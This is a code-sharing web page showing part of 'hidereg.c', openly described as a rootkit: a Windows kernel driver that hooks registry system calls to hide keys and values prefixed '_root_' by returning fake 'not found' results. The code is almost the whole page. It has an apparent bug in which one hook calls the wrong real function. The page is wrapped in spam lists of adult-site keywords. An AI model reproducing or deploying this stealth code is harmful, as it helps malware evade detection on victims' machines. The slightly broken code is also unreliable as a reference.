亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? hidereg.c

?? 驅動類 rootkit HOOK注冊表讀取
?? C
?? 第 1 頁 / 共 2 頁
字號:
	rc = Real_ZwCreateKey (KeyHandle, DesiredAccess, ObjectAttributes,
		TitleIndex, Class, CreateOptions, Disposition);

	return rc;
}


/*
 * Hook of ZwOpenKey(); 
 */
NTSTATUS Hook_ZwOpenKey (
	OUT PHANDLE KeyHandle,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_ATTRIBUTES ObjectAttributes
)
{
	NTSTATUS rc;
	PCHAR szFullName;

	
	szFullName = ExAllocatePool (PagedPool, MAXPATHLEN);
	if (szFullName != NULL) {
		if (PathFromHandle (ObjectAttributes->RootDirectory, 
			ObjectAttributes->ObjectName, szFullName)) {
			AdjustKeyName (szFullName);
			if (CheckKeyByName (szFullName)) {
				ExFreePool (szFullName);
				return STATUS_NO_SUCH_FILE;
			}
		}
		ExFreePool (szFullName);
	}

	rc = Real_ZwOpenKey (KeyHandle, DesiredAccess, ObjectAttributes);

	return rc;
}


/*
 * Hook of ZwEnumerateKey(); 
 */
NTSTATUS Hook_ZwEnumerateKey (
	IN HANDLE KeyHandle,
	IN ULONG Index,
	IN KEY_INFORMATION_CLASS KeyInformationClass,
	OUT PVOID KeyInformation,
	IN ULONG Length,
	OUT PULONG ResultLength
)
{
	NTSTATUS rc;
	PCHAR szFullName;
	PWCHAR pName = NULL;
	PULONG pulNameLen = NULL;
    //DbgPrint("zwenumeratekey called\n");
	/* Find the full name of the key and check access on it */
	szFullName = ExAllocatePool (PagedPool, MAXPATHLEN);
	if (szFullName != NULL) {
		if (!PathFromHandle (KeyHandle, NULL, szFullName)) {
			ExFreePool (szFullName);
			szFullName = NULL;
		}
	}

	rc = Real_ZwEnumerateKey (KeyHandle, Index, KeyInformationClass,
		KeyInformation, Length, ResultLength);

	if (NT_SUCCESS (rc) && szFullName != NULL) {
		switch (KeyInformationClass) {
		case KeyBasicInformation:
			pName = ((PKEY_BASIC_INFORMATION)KeyInformation)->Name;
			pulNameLen = &((PKEY_BASIC_INFORMATION)KeyInformation)->NameLength;
			break;
		case KeyNodeInformation:
			pName = ((PKEY_NODE_INFORMATION)KeyInformation)->Name;
			pulNameLen = &((PKEY_NODE_INFORMATION)KeyInformation)->NameLength;
			break;
		case KeyNameInformation:
			pName = ((PKEY_NAME_INFORMATION)KeyInformation)->Name;
			pulNameLen = &((PKEY_NAME_INFORMATION)KeyInformation)->NameLength;
			break;
		case KeyFullInformation:
			break;
		default:
			DbgPrint("Hook_ZwEnumerateKey(): unknown class %d",
				KeyInformationClass);
		}

		if (pName != NULL) {
			UNICODE_STRING us;
			ANSI_STRING as;

			strcat (szFullName, "\\");

			us.Length = us.MaximumLength = (USHORT)*pulNameLen;
			us.Buffer = pName;
			as.Length = 0;
			as.MaximumLength = MAXPATHLEN - 1 - strlen (szFullName);
			as.Buffer = szFullName + strlen (szFullName);
			rc = RtlUnicodeStringToAnsiString (&as, &us, FALSE);
			if (NT_SUCCESS (rc)) {
				as.Buffer[as.Length] = '\0';
				AdjustKeyName (szFullName);
				//DbgPrint(szFullName);
				if (CheckKeyByName (szFullName) ) 
				{
					//wcscpy (pName, L"temp");
					//*pulNameLen = 0;
                     Index++;
					// pName=NULL;
					 return Real_ZwEnumerateValueKey(KeyHandle, Index, KeyInformationClass,KeyInformation, Length, ResultLength);
				}
			}
		}
	}

	if (szFullName != NULL)
		ExFreePool (szFullName);

	return rc;
}


/*
 * Hook of ZwEnumerateValueKey(); hide protected values
 * XXX not yet
 */
NTSTATUS Hook_ZwEnumerateValueKey (
	IN HANDLE  KeyHandle,
	IN ULONG  Index,
	IN KEY_VALUE_INFORMATION_CLASS  KeyValueInformationClass,
	OUT PVOID  KeyValueInformation,
	IN ULONG  Length,
	OUT PULONG  ResultLength
)
{
NTSTATUS ntStatus; 
PVOID NewKeyValueInformation; // pointer
PVOID KeyValueInfor;
KEY_VALUE_BASIC_INFORMATION BasicInfo; // bogus structure
KEY_VALUE_FULL_INFORMATION FullInfo; // bogus structure
KEY_VALUE_PARTIAL_INFORMATION PartInfo; // bogus structure
char name[100];
char *ptr;
int i;

if (KeyValueInformationClass == KeyValueBasicInformation)
NewKeyValueInformation = &BasicInfo;
if (KeyValueInformationClass == KeyValueFullInformation)
NewKeyValueInformation = &FullInfo;
if (KeyValueInformationClass == KeyValuePartialInformation )
NewKeyValueInformation = &PartInfo;


ntStatus = ((T_ZwEnumerateValueKey)(Real_ZwEnumerateValueKey)) (
KeyHandle,
Index,
KeyValueInformationClass,
KeyValueInformation,
Length,
ResultLength); 

if (NT_SUCCESS(ntStatus))
{

	
	
DbgPrint("enumerate value key!!\n"); 
if (KeyValueInformationClass == KeyValueBasicInformation)
{
KeyValueInfor=KeyValueInformation;
DbgPrint("basic!!\n");
//ptr=(char*)BasicInfo.Name;
//ptr=(char*)L"_root_";

DbgPrint("namelength: %d",((KEY_VALUE_BASIC_INFORMATION*)KeyValueInfor)->NameLength);
ptr=(char*)((KEY_VALUE_BASIC_INFORMATION*)KeyValueInfor)->Name;
sprintf(name,"%S",((KEY_VALUE_BASIC_INFORMATION*)KeyValueInfor)->Name);
DbgPrint(name);
/*for(i=0;i<(int)((KEY_VALUE_BASIC_INFORMATION*)KeyValueInfor)->NameLength;i++)
{
DbgPrint("0x%02x",*ptr);
ptr++;
}
*/
if (0 == memcmp(((KEY_VALUE_BASIC_INFORMATION*)KeyValueInfor)->Name,L"_root_",12))
{
DbgPrint("Got Value from reg!\n");
return STATUS_NO_MORE_ENTRIES; // fake the result
}
}
if (KeyValueInformationClass == KeyValueFullInformation)
{
DbgPrint("FullInformation Enumerated!!!!!");
KeyValueInfor=KeyValueInformation;


if (0 == memcmp(((KEY_VALUE_FULL_INFORMATION*)KeyValueInfor)->Name,L"_root_",12))
{
DbgPrint("Got Value from reg!\n");
return STATUS_NO_MORE_ENTRIES; // fake the result
}
}
if (KeyValueInformationClass == KeyValuePartialInformation)
{

if (0 == memcmp(PartInfo.Data,"_root_",6))
{
DbgPrint("Got Value from reg!\n");
return STATUS_NO_MORE_ENTRIES; // fake the result
}
}

// ok, we didn't find a RootkitPrefixed entry so we redo the shit with the original pointer
ntStatus = ((T_ZwEnumerateValueKey)(Real_ZwEnumerateValueKey)) (
KeyHandle,
Index,
KeyValueInformationClass,
KeyValueInformation,
Length,
ResultLength); 


}

return ntStatus;
}


//把內核使用的鍵名改為容易理解的名字 根據rootkit.com 的方法
VOID AdjustKeyName (PCHAR szKeyName)
{
	PCHAR p;

	if (_strnicmp (szKeyName, "\\\\", 2) == 0) {
		memmove (szKeyName, szKeyName + 1, strlen (szKeyName));
	}

#define HKUS1 "\\REGISTRY\\USER\\S"
#define HKUS2 "HKEY_CURRENT_USER\\"
	if (_strnicmp (szKeyName, HKUS1, sizeof(HKUS1) - 1) == 0) {
		p = strchr (szKeyName + sizeof(HKUS1) + 1, '\\');
		if (p == NULL)
			return;
		p++;
		memmove (szKeyName + sizeof(HKUS2) - 1, p, strlen (p) + 1);
		memcpy (szKeyName, HKUS2, sizeof(HKUS2) - 1);
#define HKU1 "\\REGISTRY\\USER\\"
#define HKU2 "HKEY_USERS\\"
	} else if (_strnicmp (szKeyName, HKU1, sizeof(HKU1) - 1) == 0) {
		p = szKeyName + sizeof(HKU1);
		memmove (szKeyName + sizeof(HKU2) - 1, p, strlen (p) + 1);
		memcpy (szKeyName, HKU2, sizeof(HKU2) - 1);
#define HKM1 "\\REGISTRY\\MACHINE\\"
#define HKM2 "HKEY_LOCAL_MACHINE\\"
	} else if (_strnicmp (szKeyName, HKM1, sizeof(HKM1) - 1) == 0) {
		p = szKeyName + sizeof(HKM1) - 1;
		memmove (szKeyName + sizeof(HKM2) - 1, p, strlen (p) + 1);
		memcpy (szKeyName, HKM2, sizeof(HKM2) - 1);
	}
}

//////////////////安裝注冊表相關的函數HOOK

BOOLEAN InstallRegistryHooks (void)
{
	DbgPrint("InstallRegistryHooks() entry");

	Real_ZwCreateKey = (T_ZwCreateKey) HookSystemServiceByFn (
		ZwCreateKey, Hook_ZwCreateKey);
	if (Real_ZwCreateKey == NULL)
		DbgPrint("InstallRegistryHooks() couldn't hook ZwCreateKey()");

	Real_ZwOpenKey = (T_ZwOpenKey) HookSystemServiceByFn (
		ZwOpenKey, Hook_ZwOpenKey);
	if (Real_ZwOpenKey == NULL)
		DbgPrint("InstallRegistryHooks() couldn't hook ZwOpenKey()");

	Real_ZwEnumerateKey = (T_ZwEnumerateKey) HookSystemServiceByFn (
		ZwEnumerateKey, Hook_ZwEnumerateKey);
	if (Real_ZwEnumerateKey == NULL)
		DbgPrint("InstallRegistryHooks() couldn't hook ZwEnumerateKey()");

	Real_ZwEnumerateValueKey = (T_ZwEnumerateValueKey) HookSystemServiceByFn (
		ZwEnumerateValueKey, Hook_ZwEnumerateValueKey);
	if (Real_ZwEnumerateValueKey == NULL)
		DbgPrint("InstallRegistryHooks() couldn't hook ZwEnumerateValueKey()");

	DbgPrint("InstallRegistryHooks() exit");

	return TRUE;
}

/////////////////移除注冊表函數的鉤子函數
void RemoveRegistryHooks (void)
{
	DbgPrint("RemoveRegistryHooks() entry");

	if (Real_ZwCreateKey != NULL)
		HookSystemServiceByFn (ZwCreateKey, Real_ZwCreateKey);
	if (Real_ZwOpenKey != NULL)
		HookSystemServiceByFn (ZwOpenKey, Real_ZwOpenKey);
	if (Real_ZwEnumerateKey != NULL)
		HookSystemServiceByFn (ZwEnumerateKey, Real_ZwEnumerateKey);
	if (Real_ZwEnumerateValueKey != NULL)
		HookSystemServiceByFn (ZwEnumerateValueKey,
		Real_ZwEnumerateValueKey);

	DbgPrint("RemoveRegistryHooks() exit");
}


NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
	DbgPrint("The rootkit has been loaded!\n");

	theDriverObject->DriverUnload  = OnUnload; 
    InstallRegistryHooks();
 

	return STATUS_SUCCESS;
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
精品一区精品二区高清| ww亚洲ww在线观看国产| 国产欧美一区二区三区网站| 亚洲成人黄色影院| 成人app网站| 中文字幕亚洲综合久久菠萝蜜| 成人综合日日夜夜| 国产亚洲人成网站| 国产高清亚洲一区| 亚洲欧美二区三区| 欧美日韩精品免费| 性久久久久久久久| 91亚洲精品久久久蜜桃网站| 一二三区精品视频| 日本大香伊一区二区三区| 久久精品视频在线看| 欧美日韩亚州综合| 国产一区999| 亚洲福中文字幕伊人影院| 制服丝袜亚洲播放| 不卡一区在线观看| 国产精品一区二区久久不卡| 亚洲欧美偷拍三级| 久久久久久久久久久久电影 | 日韩激情一二三区| **欧美大码日韩| 国产成人啪免费观看软件| 蜜臀av性久久久久蜜臀aⅴ流畅 | 久久99久久久久| 国产一区二区调教| 91视频精品在这里| 欧美一区二区三区在线观看| 欧美电影免费观看高清完整版在| 久久久99久久| 亚洲精品成人悠悠色影视| 日本欧美一区二区| 国产91精品欧美| 欧美日韩国产乱码电影| 精品成人佐山爱一区二区| 亚洲欧美在线另类| 国产精品女上位| 韩国av一区二区| 色呦呦日韩精品| 欧洲亚洲国产日韩| 欧美一区二区私人影院日本| 亚洲国产精品黑人久久久| 日韩成人午夜精品| 欧美日韩国产综合久久 | 2022国产精品视频| 樱花影视一区二区| 国产资源精品在线观看| 在线视频你懂得一区| 亚洲国产精品传媒在线观看| 美洲天堂一区二卡三卡四卡视频| 欧美性猛片aaaaaaa做受| 中文字幕在线不卡| 波多野结衣精品在线| 欧美国产禁国产网站cc| 国产成人综合精品三级| 久久网站热最新地址| 精品一区二区在线视频| 欧美电视剧免费观看| 蜜臀av一区二区三区| 日韩一级二级三级| 国产伦精品一区二区三区免费 | 日本一区二区三区四区 | 国模无码大尺度一区二区三区| 欧美精品久久久久久久多人混战 | 色视频一区二区| 五月天激情小说综合| 欧美乱熟臀69xxxxxx| 久久精品噜噜噜成人88aⅴ| 久久精品一区二区三区不卡牛牛| 激情小说亚洲一区| 国产精品少妇自拍| 成人精品视频一区二区三区| 亚洲久草在线视频| 精品福利一区二区三区| 成人综合在线观看| 日韩三级视频在线看| 国产美女精品一区二区三区| 亚洲三级在线免费观看| 日韩视频中午一区| 91色porny| 国产专区综合网| 亚洲成va人在线观看| 日韩精品一区二区三区在线 | 日本不卡视频在线| 国产精品久久一卡二卡| 欧美日韩亚洲另类| 91亚洲男人天堂| 懂色av一区二区三区蜜臀| 久久国产视频网| 麻豆91在线观看| 青椒成人免费视频| 蜜臀99久久精品久久久久久软件| 国产精品视频你懂的| 国产三级精品三级| 欧美国产综合一区二区| 555www色欧美视频| 26uuu精品一区二区| 亚洲国产精品综合小说图片区| 日韩欧美www| 777亚洲妇女| 91日韩在线专区| 国产精品一级在线| 国产精品456| 激情综合五月婷婷| 国产精品自拍网站| 国产精品亚洲视频| 成人av在线影院| 成av人片一区二区| va亚洲va日韩不卡在线观看| 国产一区二区三区免费观看| 亚洲国产婷婷综合在线精品| 欧美tk丨vk视频| 日韩欧美一二三| 精品国产伦一区二区三区观看体验 | 日本中文字幕一区二区视频 | 香蕉久久夜色精品国产使用方法| 亚洲视频在线一区| 亚洲免费视频中文字幕| 三级欧美在线一区| 极品美女销魂一区二区三区| 美腿丝袜在线亚洲一区| 国产麻豆精品久久一二三| 香蕉成人伊视频在线观看| 日韩精品成人一区二区三区| 日本亚洲三级在线| 成人精品视频一区二区三区| 95精品视频在线| 欧美一级一级性生活免费录像| 精品久久久久久无| 国产精品欧美久久久久一区二区| 国产亚洲精品bt天堂精选| 亚洲一区二区3| 国产99久久久国产精品| 欧美性极品少妇| 欧美国产欧美亚州国产日韩mv天天看完整 | 色综合亚洲欧洲| 91精品国产综合久久福利软件| 久久久美女艺术照精彩视频福利播放| 成人欧美一区二区三区小说| 日av在线不卡| 欧美肥妇毛茸茸| 国产在线一区二区| 国产亚洲欧美在线| 91影视在线播放| 亚洲一本大道在线| 欧美日韩国产成人在线免费| 日韩国产在线一| 精品久久久久久无| jlzzjlzz亚洲女人18| 一区二区三区四区亚洲| 欧美精品久久久久久久久老牛影院| 午夜免费久久看| 久久先锋影音av| 在线观看91精品国产入口| 蜜臀av国产精品久久久久| 亚洲欧美怡红院| 日韩精品资源二区在线| 色香蕉成人二区免费| 国产在线精品一区在线观看麻豆| 亚洲天堂成人在线观看| 91久久精品一区二区三| 麻豆91精品91久久久的内涵| 一区二区三区在线不卡| 成人免费一区二区三区在线观看| 精品国产亚洲在线| 久久综合国产精品| 国产亚洲欧美中文| 国产午夜亚洲精品理论片色戒| 欧美精品精品一区| 9i在线看片成人免费| 在线综合亚洲欧美在线视频| 精品一区二区在线免费观看| 色哟哟国产精品| 久久国产婷婷国产香蕉| 欧美a级一区二区| 喷白浆一区二区| 麻豆中文一区二区| 捆绑紧缚一区二区三区视频 | 亚洲欧美日韩小说| 亚洲免费看黄网站| 一区二区三区在线观看视频| 一区二区三区精品视频在线| 亚洲v精品v日韩v欧美v专区| 水蜜桃久久夜色精品一区的特点| 婷婷成人激情在线网| 欧美a级理论片| 成人激情开心网| 91国偷自产一区二区使用方法| 欧美日韩在线播| 国产亚洲短视频| 一区二区欧美视频| 国产寡妇亲子伦一区二区| 91福利社在线观看| 久久久久久亚洲综合| 亚洲综合免费观看高清完整版 | 日韩一区二区高清|